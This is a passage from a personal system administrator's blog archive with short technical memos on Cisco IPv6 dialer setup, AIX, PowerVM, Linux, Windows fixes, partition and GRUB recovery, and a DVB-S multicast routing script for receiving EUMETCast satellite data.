ipv6 address autoconfig
ipv6 enable
no cdp enable
ppp authentication chap callin
ppp chap hostname adsl@alice6.it
ppp chap password 0 IPV6@alice6
ppp pap sent-username adsl@alice6.it password 0 IPV6@alice6

- Route configuration:

ip route 0.0.0.0 0.0.0.0 Dialer0
ipv6 route 2000::/3 Dialer0

You can check with following command:

route01#sh ip int brief | sec Dialer0
Dialer0                    XXX.XXX.XXX.XXX    YES IPCP   up                    up
route01#sh ipv6 int brief | sec Dialer0
Dialer0                    [up/up]
FE80::1
2A01:2003:xxxx:xxxx::1

You can discover your /64 assigned class with:

route01#sh ipv6 int di0 | sec Global
 Global unicast address(es):
 2A01:2003:xxxx:xxxx::1, subnet is 2A01:2003:xxxx:xxxx::/64 [PRE]
 valid lifetime 2591993 preferred lifetime 604793
 route01#

I’ve left out NAT and other further configuration.

Update: prefix delegation

Datacenter Work

Sun, 27 May 2012 01:06:19 +0000

Datacenter Work, a photo by Leonardo Rizzi on Flickr.

Resolving LVM errors from ipl_varyon -i

Mon, 21 May 2012 12:48:53 +0000

Memo:

http://www-304.ibm.com/support/docview.wss?uid=isg3T1012204

Remote Desktop Licensing service to fail to start

Mon, 14 May 2012 00:49:28 +0000

Remote Desktop Licensing service to fail to start, with error code %%-1073672191.

The Terminal Services Licensing service cannot start. The following error occurred: Can't initialize Cryptographic - error code 5.

Sometime happens a problem with Remote Desktop Licensing services not starting. The Terminal Licensing MachineKeys have permissions for Administrators and/or TermServLicensing but the service starts using the “Network Service” account… Why??????

You can fix the problem adding Network Service account (read only privileges it’s ok), on follow directory (you can force ownership propagation for reapply the correct privilege tree):

C:\\Documents and Settings\\all users\\Application Data\\Microsoft\\Crypto\\RSA\\MachineKeys

Then the service start, correctly.

For further information you can take a look at microsoft KB:

Default permissions for the MachineKeys folders: http://support.microsoft.com/kb/278381

http://msdn.microsoft.com/en-us/library/bb909654%28v=vs.90%29.aspx

Lotus Domino server linux process 100% CPU usage

Mon, 30 Apr 2012 23:37:23 +0000

There was a kernel change from version 2.6.x that causes statistics to suck 100% of CPU, even though the system is lightly loaded, that cause a server crash when loading platform statistics

You can disable this feature by adding this to your notes.ini and restarting the Domino server. PLATFORM\_STATISTICS\_DISABLED=1

Recovery HFS partition table

Sun, 25 Mar 2012 15:48:13 +0000

First think, scan your damage disk with a tool like “testdisk” (http://www.cgsecurity.org/wiki/TestDisk) look for lost partitions, unfortunately HFS is not fully supported by this great tool, then you need to use pdisk or other partition software.

 Disk /dev/rdisk3 - 1000 GB / 931 GiB - CHS 121601 255 63
 Partition Start End Size in sectors
 >P HFS 262208 1953525151 1953262944

In my case, I’ve used pdisk directly on OS X:

 leobook4-w:~ root# pdisk /dev/rdisk3
 pdisk: No valid block 1 on '/dev/rdisk3'
 Edit /dev/rdisk3 -
 Command (? for help): i
 A physical block is 512 bytes:
 A logical block is 512 bytes:
 size of 'device' is 1953525168 blocks (512 byte blocks):
 new size of 'device' is 1953525168 blocks (512 byte blocks)
 Command (? for help): c
 First block: 262208
 Length in blocks: 1953262944
 Name of partition: recover\_leo
 Command (? for help): w
 Writing the map destroys what was there before. Is that okay? \[n/y\]: y
 The partition table has been altered!

 Command (? for help): q

OpenSSL - client connect

Fri, 02 Mar 2012 15:22:21 +0000

Memo for testing ssl/startls connection:

StarTLS:

[leo@thinkleo2 ~]$ openssl s_client -connect mail.wide-net.org:25 -starttls smtp
CONNECTED(00000003)
[...]
    Verify return code: 0 (ok)
---
220 srv01.mil1.wide-net.org ESMTP - Life is short talk fast!

SSL:

[leo@thinkleo2 ~]$ openssl s_client -connect mail.wide-net.org:465
CONNECTED(00000003)
[...]
    Verify return code: 0 (ok)
---
220 srv01.mil1.wide-net.org ESMTP - Life is short talk fast!

Linux RHEL - Change hostname

Sun, 26 Feb 2012 07:26:11 +0000

3 step for change hostname to RHEL Linux:

edit: /etc/hosts

127.0.0.1 srv03.mil1.wide-net.org localhost.localdomain localhost

edit: /etc/sysconfig/network HOSTNAME=srv03.mil11.wide-net.org
past into kernel new hostname echo "srv03.mil1.wide-net.org" > /proc/sys/kernel/hostname

sysctl kernel.hostname=srv03.mil1.wide-net.org

Consider a restart net services /etc/init.d/network restart but is not strictly required.

Stupid Ubuntu - Grub recovery on RAID

Sun, 05 Feb 2012 17:18:29 +0000

I definitely hate Ubuntu, is not linux.

root@ubuntu:~# cd /mnt
root@ubuntu:/mnt# mkdir md1
root@ubuntu:/mnt# mount /dev/md1 /mnt/md1/
root@ubuntu:~# mount -o bind /sys /mnt/md1/sys
root@ubuntu:~# mount -o bind /dev /mnt/md1/dev
root@ubuntu:~# mount -o bind /proc /mnt/md1/proc
root@ubuntu:~# chroot /mnt/md1 /bin/bash
root@ubuntu:~# ls -l /dev/disk/by-uuid/
total 0
lrwxrwxrwx 1 root root  9 2012-02-05 11:00 455c4bdc-37d5-46ef-bb8b-d5b50c9e4e9a -> ../../md1
root@ubuntu:/# vim /boot/grub/grub.cfg
root@ubuntu:/# update-grub
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.32-33-generic-pae
Found initrd image: /boot/initrd.img-2.6.32-33-generic-pae
Found linux image: /boot/vmlinuz-2.6.32-28-generic-pae
Found initrd image: /boot/initrd.img-2.6.32-28-generic-pae
Found memtest86+ image: /boot/memtest86+.bin
done
root@ubuntu:/# grub-install /dev/sda
Installation finished. No error reported.
root@ubuntu:/# grub-install --recheck /dev/sda
Installation finished. No error reported.
root@ubuntu:/# cfdisk /dev/sda

AirOS - Rate Algorithm

Sun, 29 Jan 2012 19:48:04 +0000

Rate Algorithm: defines data rate algorithm convergence:

Optimistic Algorithm is aggressive enough to move to a higher rate but yet tries to conservatively capture the fluctuations of the RSSI. It starts with the highest possible rate and then decreases till the rate can be supported while periodically transmitting packets at higher rates and computing the transmission time. The optimistic rate algorithm always looks to achieve highest throughput while sacrificing noise immunity and robustness.

Rate Algorithm selection Conservative Algorithm is less sensitive to individual packet failure as it is based on a function of number of successful and erroneous transmission/retransmission over a sampling period. It steps down to a lower rate after continuous packet failure and steps up after number of successful packets. The conservative rate algorithm provides the best case stability / robustness, but may compromise maximum throughput. It is recommended to select conservative rate algorithm when the signal strength is low due to noisy environment or link distance.

EWMA Algorithm is trying to move to a higher rate but is continuously monitoring the packet failure counters. The Exponential Weighted Moving Average (EWMA) Algorithm (also known as minstrel) is a hybrid of the Conservative and Optimistic Algorithm. It is the compromise for most of the wireless network use cases.

Linux - Google Earth

Fri, 06 Jan 2012 18:56:47 +0000

[leo@thinkleo2 ~]$ /opt/google/earth/free/google-earth
Google Earth appears to be running already. Please kill the
 existing process, or delete /home/leo/.googleearth/instance-running-lock if this is an error.
[leo@thinkleo2 ~]$ rm /home/leo/.googleearth/instance-running-lock
[leo@thinkleo2 ~]$ /opt/google/earth/free/google-earth

AIX - loopmount

Mon, 19 Dec 2011 04:10:49 +0000

Finally on aix 6.1 ibm have introduced mounting of iso directly without raw copy on lv:

Check if necessary loopback device is available

# lsdev -C | grep loop

if nothing returned, run:

# mkdev -c loopback -s node -t loopback
loop0 Available

If the device is not present on system you get this error:

1320-003 loopmount: Specified loopback device is not found in ODM

Now for mount:

# loopmount -i /iso/dvd.iso -l loop0 -o "-V cdrfs -o ro" -m /mnt/dvd

And umount:

VIO - iso virtual DVD

Mon, 19 Dec 2011 03:48:50 +0000

Example of PowerVM virtual dvd setup:

 login: padmin
 padmin's Password:
 1 unsuccessful login attempt since last login.
 Last unsuccessful login: Mon Jan 31 18:51:28 CST 2011 on /dev/vty0
 Last login: Mon Jan 31 18:28:29 CST 2011 on /dev/vty0
 $
 $ mkrep -sp rootvg -size 10G
 Virtual Media Repository Created
 Repository created within "VMLibrary" logical volume
 $ mkvopt -name 6_1_6osp.iso -dev cd0 -ro
 $
 $ mkvdev -vadapter vhost1 -fbo -dev vcd1
 vcd0 Available
 $ loadopt -vtd vcd0 -disk 6_1_6osp.iso
 $ unloadopt -vtd vcd0

Linux - IBM LinTape driver

Mon, 19 Dec 2011 03:41:43 +0000

If you need to user ibm lto tape drive inside IBM, Adic, Dell tapelibrary, with Tivoli Storage Manager is necessary to use

Download latest driver from IBM Fixcentral: Storage Systems => Tape Systems => Tape device drivers and software => Linux

Get two two RPMs (my system is an RHEL 5 on 32bit hardware) : lin_tape-1.61.0-1.src.rpm <== Kernel module lin_taped-1.61.0-rhel5.i386.rpm <== Binary services

First step, rebuild the source:

# rpmbuild --rebuild lin_tape-1.61.0-1.src.rpm` `
 Installing lin_tape-1.61.0-1.src.rpm
 Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.625
 + umask 022
 + cd /usr/src/redhat/BUILD
 + cd /usr/src/redhat/BUILD
 + rm -rf lin_tape-1.61.0
 + /bin/gzip -dc /usr/src/redhat/SOURCES/lin_tape-1.61.0.tgz
 [cut]
 Wrote: /usr/src/redhat/RPMS/i386/lin_tape-1.61.0-1.i386.rpm
 Executing(%clean): /bin/sh -e /var/tmp/rpm-tmp.18792
 + umask 022
 + cd /usr/src/redhat/BUILD
 + cd lin_tape-1.61.0
 + rm -rf /var/tmp/lin_tape-1.61.0-1-root-root
 + exit 0
 Executing(--clean): /bin/sh -e /var/tmp/rpm-tmp.18792
 + umask 022
 + cd /usr/src/redhat/BUILD
 + rm -rf lin_tape-1.61.0
 + exit 0

Second step, install all:

AIX - lpp incosistent

Mon, 19 Dec 2011 03:17:28 +0000

# lppchk –v

lppchk: The following filesets need to be installed or corrected to bring the system to a consistent state: 9a33182fe26f1beae04e59e5cb6d3cdb 0.0.0.0 (COMMITTED)

# lslpp -L

Backup the ODM using the following command:

# tar -cvf /tmp/odm.tar ./etc/objrepos ./usr/lib/objrepos
# export ODMDIR=/usr/lib/objrepos
# odmget -q name= lpp
# odmdelete -q name= -o lpp
# odmdelete -q lpp_name= -o product
# odmdelete -q lpp_id= -o history
# odmdelete -q lpp_id= -o inventory
# export ODMDIR=/etc/objrepos
# odmdelete -q name= -o lpp
# odmdelete -q lpp_name= -o product
# odmdelete -q lpp_id= -o history
# odmdelete -q lpp_id= -o inventory
# export ODMDIR=/etc/objrepos

Check lppchk -v again to see if those entries are gone from ODM

AIX - Warning, savebase failed

Mon, 19 Dec 2011 03:05:23 +0000

0516-1734 extendlv: Warning, savebase failed. Please manually run 'savebase' before rebooting.

If you run savebase -v and you get “non-bootable LV name given” try reconstucting your /dev/ipldevice file.

Run savebase -v again and if you get the same error, try follow procedure:

# bosboot -ad /dev/hdiskX (a disk that has hd5 on it)
# bosboot -ad /dev/hdiskY (a disk that has hd5 on it)
# ipl_varyon -i

[You’ll get a return on every physical disk on the system]

You will then get a return similar to this:

savebase -v

saving to '/dev/hd5'
99 CuDv objects to be saved
240 CuAt objects to be saved
44 CuDep objects to be saved
51 CuVPD objects to be saved
407 CuDvDr objects to be saved
5 CuPath objects to be saved
0 CuPathAt objects to be saved
0 CuData objects to be saved
0 CuAtDef objects to be saved
Number of bytes of data to save = 49587
Compressing data
Compressed data size is = 12069
 bi_start = 0x3600
 bi_size = 0x1820000
 bd_size = 0x1800000
 ram FS start = 0x8d6ca0
 ram FS size = 0xea34cf
 sba_start = 0x1803600
 sba_size = 0x20000
 sbd_size = 0x2f29
Checking boot image size:
 new save base byte cnt = 0x2f29
Wrote 12073 bytes
Successful completion

AIX - lslpp

Mon, 19 Dec 2011 02:28:15 +0000

Memo: lslpp

List the package that owns a file

# lslpp -w

List the files in a package

# lslpp -f

List all packages installed

# lslpp -L

NetworkManager modifies /etc/hosts

Sat, 26 Nov 2011 22:09:05 +0000

There is an annoying bug (or feature depends on point of view) every restart/reconnect managed by NetworkManager, restore the original /etc/hosts loaded on startup. I’ve made a 3 line script inspired by visudo to manual edit the hosts file and prevent the other unexpected modifies:

File like (with +x attribute): /usr/sbin/vihosts

#!/bin/sh
sudo chattr -i /etc/hosts
sudo vim /etc/hosts
sudo chattr +i /etc/hosts

Citrix - ICAClient issue on Linux REHL6

Thu, 24 Nov 2011 06:05:51 +0000

Another stupid Citrix ICAClient issue on Redhat linux:

[leo@thinkleo2 ~]$ /usr/lib/ICAClient/wfcmgr -icaroot /usr/lib/ICAClient
Warning: Missing charsets in String to FontSet conversion
Warning: Missing charsets in String to FontSet conversion
Warning: Unable to load any usable fontset
Error: Aborting: no fontset found

Solution 1 force language C (my favourite for any lang problems):

[leo@thinkleo2 ~]$ export LANG=C

Solution 2 remove charset cjkuni:

[leo@thinkleo2 ~]$ sudo yum remove cjkuni*
Loaded plugins: priorities, product-id, refresh-packagekit, rhnplugin, subscription-manager
Updating Red Hat repositories.
Setting up Remove Process
Resolving Dependencies
--> Running transaction check
---> Package cjkuni-fonts-common.noarch 0:0.2.20080216.1-34.el6 will be erased
---> Package cjkuni-fonts-ghostscript.noarch 0:0.2.20080216.1-34.el6 will be erased
---> Package cjkuni-ukai-fonts.noarch 0:0.2.20080216.1-34.el6 will be erased
---> Package cjkuni-uming-fonts.noarch 0:0.2.20080216.1-34.el6 will be erased
--> Finished Dependency Resolution
Dependencies Resolved
=============================================================================================================================
 Package                    Arch     Version                   Repository                                               Size
=============================================================================================================================
Removing:
 cjkuni-fonts-common        noarch   0.2.20080216.1-34.el6     @anaconda-RedHatEnterpriseLinux-201105101829.i386/6.1   0.0
 cjkuni-fonts-ghostscript   noarch   0.2.20080216.1-34.el6     @rhel-i386-workstation-6                                6.2 k
 cjkuni-ukai-fonts          noarch   0.2.20080216.1-34.el6     @rhel-i386-workstation-6                                 17 M
 cjkuni-uming-fonts         noarch   0.2.20080216.1-34.el6     @anaconda-RedHatEnterpriseLinux-201105101829.i386/6.1    21 M
Transaction Summary
=============================================================================================================================
Remove        4 Package(s)
Installed size: 37 M
Is this ok [y/N]: y
Downloading Packages:
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
  Erasing    : cjkuni-fonts-ghostscript-0.2.20080216.1-34.el6.noarch                                                     1/4
  Erasing    : cjkuni-ukai-fonts-0.2.20080216.1-34.el6.noarch                                                            2/4
  Erasing    : cjkuni-uming-fonts-0.2.20080216.1-34.el6.noarch                                                           3/4
  Erasing    : cjkuni-fonts-common-0.2.20080216.1-34.el6.noarch                                                          4/4
duration: 336(ms)
Installed products updated.
Removed:
  cjkuni-fonts-common.noarch 0:0.2.20080216.1-34.el6         cjkuni-fonts-ghostscript.noarch 0:0.2.20080216.1-34.el6
  cjkuni-ukai-fonts.noarch 0:0.2.20080216.1-34.el6           cjkuni-uming-fonts.noarch 0:0.2.20080216.1-34.el6
Complete!
[leo@thinkleo2 ~]$

Postfix - Auth Dovecot Backend

Thu, 27 Oct 2011 22:21:56 +0000

main.cf file Postfix related parametes:

smtpd_sasl_authenticated_header = yes
smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth

dovecot.conf file Dovecot related parameters:

 auth default {
  mechanisms = plain login

[…removed irrelevance parameters…]

 socket listen {
    client {
      path = /var/spool/postfix/private/auth
      mode = 0660
      user = postfix
      group = postfix
    }
  }
}

Linux - Multicast DVB-S router for EUMETCast

Mon, 10 Oct 2011 04:19:11 +0000

This simple script transform a linux box into a DVB-S Satellite router to receive data from Eurobird 9E used by EUMETSAT to redistribute weather satellite image.

REQUIRE: DVB Tools SMCroute PCI Card supported by Linux/DVB Tools (ex. Skystar 2)

#!/bin/bash
####################################################################
#								   #
# Leonardo Rizzi 						   #
# Late night 24/04/2010						   #
# Revision 1.0							   #
# Tune DVB-S pci card for Eurobird 9E shifted from 13E Hotbird     #
# Tune, set net PID, Enable multicasting ecc. ecc. blah blah buuuu #
#								   #
####################################################################

#Globalvar
DTUNE="/usr/bin/dvbtune"
DNET="/usr/bin/dvbnet"
MROUTE="/usr/sbin/smcroute"
IFCONFIG="/sbin/ifconfig"

SERVICE="eumetsat"

#Set dvbcard 0-3
INT="0"

#Set multicast forwarding interface and ip (by default TelliCast bind on 192.168.238.238)
MINT="eth1"
MIP="192.168.238.238"

#Set absolute frequency in Hz
FREQ=11977000

#Set polarization
POL=H

#Set symbol rate
SYR=27500

#Set PID one space for value separation
PID="100 300 301 302 500 509 510 511"

#Begin start!!

case "$1" in
  start)
  	# Pre-Start check

  	test -x $DTUNE || { echo "$DTUNE not installed or not configured properly";
        if [ "$1" = "stop" ]; then exit 0;
        else exit 5; fi; }

        test -x $DNET || { echo "$DNET not installed or not configured properly";
        if [ "$1" = "stop" ]; then exit 0;
        else exit 5; fi; }

        test -x $MROUTE || { echo "$MROUTE not installed or not configured properly";
        if [ "$1" = "stop" ]; then exit 0;
        else exit 5; fi; }

        test -x $IFCONFIG || { echo "$IFCONFIG not installed or not configured properly";
        if [ "$1" = "stop" ]; then exit 0;
        else exit 5; fi; }

        test -d /dev/dvb/adapter$INT || { echo "DVB$INT device not installed or not configured properly";
        if [ "$1" = "stop" ]; then exit 0;
        else exit 5; fi; }

	# Tuning the dvb frequency
	echo ""
	echo "Tune the satellite donwlink on interface ${INT}"
	${DTUNE} -c ${INT} -f ${FREQ} -p ${POL} -s ${SYR} -m >/dev/null 2>&1 &

	# Set address on local forwarding interface and bring it up
	echo ""
	echo "Set multicast forwarding interface ${MINT}"
	${IFCONFIG} ${MINT} ${MIP} multicast up

	# Set PID on active dvb interface
	echo ""
	echo "Set net interface for listed PID:"
	for i in ${PID}
	do
	echo "Bring up PID $i"
	${DNET} -a ${INT} -p $i>/dev/null 2>&1
	done

	# Set address on dvbs interfaces and bring it up
	echo ""
	echo "Set net interface up:"
	for ii in {0..7}
	do
	echo "Bring up dvb net interface $ii"
	${IFCONFIG} dvb${INT}_$ii 192.168.22$ii.238 up >/dev/null 2>&1
	done

	# Start multicast router
	echo ""
	echo "Enable Multicast Router"
	${MROUTE} -d

	#PID 100 multicast forward
	echo "Set multicast for PID 100"
	${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.34 ${MINT}
	${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.36 ${MINT}
	${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.40 ${MINT}
	${MROUTE} -a dvb0_0 192.168.1.1 224.223.222.223 ${MINT}

	#PID 300 multicast forward
	echo "Set multicast for PID 300"
	${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.21 ${MINT}
	${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.31 ${MINT}
	${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.32 ${MINT}
	${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.37 ${MINT}
	${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.226 ${MINT}
	${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.252 ${MINT}
	${MROUTE} -a dvb0_1 192.168.1.1 224.223.222.253 ${MINT}

	#PID 301 multicast forward
	echo "Set multicast for PID 301"
	${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.23 ${MINT}
	${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.33 ${MINT}
	${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.38 ${MINT}
	${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.39 ${MINT}
	${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.35 ${MINT}
	${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.227 ${MINT}
	${MROUTE} -a dvb0_2 192.168.1.1 224.223.222.251 ${MINT}

	#PID 302 multicast forward
	echo "Set multicast for PID 302"
	${MROUTE} -a dvb0_3 192.168.1.1 224.223.222.25 ${MINT}

	#PID 500 multicast forward
	echo "Set multicast for PID 500"
	${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.1 ${MINT}
	${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.22 ${MINT}
	${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.28 ${MINT}
	${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.27 ${MINT}
	${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.29 ${MINT}
	${MROUTE} -a dvb0_4 192.168.1.1 224.223.222.30 ${MINT}

	#PID 509 multicast forward
	echo "Set multicast for PID 509"
	${MROUTE} -a dvb0_5 192.168.1.1 224.223.222.248 ${MINT}
	${MROUTE} -a dvb0_5 192.168.1.1 224.223.222.249 ${MINT}
	${MROUTE} -a dvb0_5 192.168.1.1 224.223.222.250 ${MINT}

	#PID 510 multicast forward
	echo "Set multicast for PID 510"
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.231 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.232 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.233 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.234 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.235 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.236 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.237 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.239 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.240 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.242 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.243 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.244 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.245 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.246 ${MINT}
	${MROUTE} -a dvb0_6 192.168.1.1 224.223.222.247 ${MINT}

	sleep 5
	;;

  stop)
	# Stopping the dvb card
	echo ""
	echo "Stopping Satellite Downlink"
	killall dvbtune >/dev/null 2>&1

	echo ""
	echo "Stopping Multicast Routing"
	# Stopping Multicast Router
	${MROUTE} -k

	# Disable dvbs interfaces and remove active PID
	echo ""
	echo "Shutting down DVB-S interfaces"
	for iii in {0..7}
	do
	/sbin/ifconfig dvb0_$iii down >/dev/null 2>&1
	${DNET} -d $iii >/dev/null 2>&1
	done

	# Remove and disable multicasting forwarding interface
	echo ""
	echo "Shutting down multicasting forwarding interface"
	${IFCONFIG} ${MINT} del ${MIP} multicast
	${IFCONFIG} ${MINT} down

	;;

  restart)

	$0 stop
	$0 start
	;;

  status)

  	PID1='pidof dvbtune'
  	echo ""
  	echo "Tuning subsystem running at pid" $PID1

  	PID2='pidof smcroute'
  	echo ""
  	echo "Mulicast router running at pid" $PID2

	;;

  multicast)

  	echo "Multicasting Routing table:"
  	ip mroute show
	;;

  *)
	echo "Usage: $0 [start|stop|restart|status|multicast]"
	;;
esac

exit;s

The Windows Installer Service could not be accessed.

Sun, 09 Oct 2011 03:07:57 +0000

The Windows Installer Service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance.

kb315353

To resolve this issue, follow these steps:

Log on to your computer as an administrator.
Click Start, and then click Run.
In the Open box, type cmd, and then click OK.
At the command prompt, typemsiexec.exe /unregister, and then press ENTER.
Type msiexec /regserver, and then press ENTER.
Verify that the SYSTEM account has full control access permissions to the HKEY_CLASSES_ROOT hive in the Windows registry. In some cases, you may also have to add Administrator accounts. To do so:Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs. For more information about how to back up and restore the registry, click the following article number to view the article in the Microsoft Knowledge Base: 322756 (http://support.microsoft.com/kb/322756/ ) How to back up and restore the registry in Windows
Click Start, click Run, type regedit in the Open box, and then click OK.
Click the following registry hive: HKEY_CLASSES_ROOT
On the Edit menu, click Permissions.
If SYSTEM is not listed in the Group or user names list, click Add, make sure that the local computer name appears in the From this location box, type system in the Enter the object names to select box, click Check Names, and then click OK.
Click SYSTEM in the Group or user names list, and then select the Full Control check box under Allow in the Permissions for SYSTEM box.
Click Apply, click OK, and then quit Registry Editor.
Restart the computer. If the problem is not resolved, repair Windows XP. For more information about how to repair Windows XP, click the following article number to view the article in the Microsoft Knowledge Base: 315341 (http://support.microsoft.com/kb/315341/ ) How to perform an in-place upgrade (reinstallation) of Windows XP

AIX - DLPAR connection lost to HMC

Wed, 21 Sep 2011 02:23:30 +0000

Sometime during AIX migration/alt_clone or HMC upgrade, it can happen that RMC ID get lost or duplicated, the the rsct process is unable to re stabilize the connection.

You can reset the key and restart that service as follows:

Reset RMC unique ID:

# /usr/sbin/rsct/install/bin/recfgct
# /usr/sbin/rsct/bin/rmcctrl -z
# /usr/sbin/rsct/bin/rmcctrl -A

Then you can check the rmc status:

# /usr/sbin/rsct/bin/rmcdomainstatus -s ctrmc

AS/400 - Change IP remote printer

Sat, 02 Jul 2011 14:06:51 +0000

For a network attached printer:

WRKWTR and do a #4 to End the writer
WRKCFGSTS *DEV *PRT and use #2 to vary off the device, then #8 to Work with description then #2 to change, then page/roll and change the IP
Vary the device on
WRKWTR and start the print writer

AIX - ODM Object Classes

Sat, 02 Jul 2011 14:00:15 +0000

AIX - ODM Device Configuration Object Classes

A list of the ODM Device Configuration Object Classes follows:

PdDv Predefined Devices

PdCn Predefined Connection

PdAt Predefined Attribute

Config_Rules Configuration Rules

CuDv Customized Devices

CuDep Customized Dependency

CuAt Customized Attribute

CuDvDr Customized Device Driver

CuVPD Customized Vital Product Data

Juniper - Netscreen upgrade via TFTP

Mon, 20 Jun 2011 01:49:00 +0000

fw01-> save software from tftp 10.255.4.210 ns50ns25.5.4.0r21.0 to flash
Load software from TFTP 10.255.4.210 (file: ns50ns25.5.4.0r21.0).
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
tftp received octets = 5994268
tftp success!
TFTP Succeeded
Save to flash. It may take a few minutes ...platform = 14, cpu = 10, version = 18
update new flash image (01e97ddc,5994268)
platform = 14, cpu = 10, version = 18
offset = 20, address = 3060000, size = 5994189
date = 4062f3e0, sw_version = 4062f3e4, cksum = f7522c46
Program flash (5994268 bytes) ...
sec_size :131072 align_support 1 , mode 96028
++++++++++++++++++++++++++++++++++++++++++++++done
Done
fw01-> reset
System reset, are you sure? y/[n] y
In reset ...

OpenVMS - SCSSYSTEMID

Sun, 03 Apr 2011 02:12:16 +0000

SCSSYSTEMID (G) Specifies a number that identifies the computer. This parameter is not dynamic. SCSSYSTEMID is the low-order 32 bits of the 48-bit system identification number.

If the computer is in an OpenVMS Cluster, specify a value that is unique within the cluster. Do not use zero as the value.

If the computer is running DECnet for OpenVMS, calculate the value from the DECnet address using the following formula:

SCSSYSTEMID = ((DECnet area number) \* 1024) + (DECnet node number)

Example: If the DECnet address is 2.211, calculate the value as follows:

SCSSYSTEMID = (2 \* 1024) + 211 = 2259

AIX - Mounting ISO images

Sun, 03 Apr 2011 01:10:08 +0000

There is a known problem with mounting ISO images on the AIX platform. To workaround the problem, complete the following instructions:

Obtain the size of the image, then identify the nearest multiple of 128 MB that will provide enough space for the image. For example, the image of CD-ROM is approximately 650/700 MB, so use 768 MB as an image size.

Make a logical volume of this size. Ensure that there is enough space on the physical volume. For example, hdisk0.

# mklv -y cdlv -s n -L /dev/cdlv rootvg 768M hdisk0

If the command fails, increase the volume size by a multiple of 128.

Use the dd command to create a pseudo-device. Ensure that the partition has enough space for the pseudo-device. In the following example command, the pseudo-device is /dev/cdlv.

# dd if=/opt/iso/cd.iso of=/dev/cdlv

Note that this command may take a long time and will create two dd processes.

Mount the device like a CD-ROM in AIX. Ensure that the mount point exists.

# mount -v cdrfs -o ro /dev/cdlv /mnt/iso

eToken PASS in open environment

Sun, 23 Jan 2011 21:00:23 +0000

I bought promo pack of 5 Aladdin eToken PASS units, the tokens comes with serial number in this format: XXXX-XXXX-XXXX-XXXX activated for free on the website of the manufacturer only one time of course, then used token purchased from ebay usually are unusable.

The activation consists in a zip containing two ldif format dat files, you can extract the token key parsing the text from “importAlpine.dat” file:

sccAuthenticatorId: (means token serial number) sccKey= (means token key)

eToken PASS are event based tokens, I’ve tested successfully using otptool, part of mod-authn-otp.

AIX LPAR - CDROM device relase

Sun, 23 Jan 2011 20:17:32 +0000

When AIX will not release /dev/cd0 device (after umount any associted filesystems), and you get busy device error on dlpar operations, use this command to kill all processes that take busy resource:

# fuser -k -x -u -c /dev/cd0

Usually in pSeries hardware configuration is connected to a scsi controller by scsi-to-ide/sas/sata or other terrible solution bridge.

To made all this operation faster you can identify pci parent adapter and remove recursively all device.

Identify:

# lsdev -l cd0 -F parent
 scsi0
# lsdev -l scsi0 -F parent
 sisscsia0
# lsdev -l sisscsia0 -F parent
 pci10

Remove:

# rmdev -Rdl pci10
cd0 deleted
ses0 deleted
scsi0 deleted
sisscsia0 deleted
pci10 deleted

Then you can move the controller from HMC to another LPAR

Omikey Cardman 4040 - Linux FC14

Sun, 23 Jan 2011 18:53:21 +0000

In this post I describe how to get works OMNIKEY Cardman 4040, a pcmcia smartcard reader/writer under Linux Ferdora 14 using manufacturer PC/SC driver.

Install the required packages:

[root@thinkleo1 ~]# yum install pcsc-lite openct opensc

Configure OpenSC

With PC/SC cardbus access OpenCT is useless but without that daemon, on every smartcard operational commad you get lot of this erros:

Error: can't open /var/run/openct/status: No such file or directory

Then to avoid (openct/opensc/pcscd) conflicts I prefer to disable openct framework like this:

Substitute into /etc/opensc.conf :

reader_drivers = openct, pcsc, ctapi;

With (if is not present, add this under “app default” context):

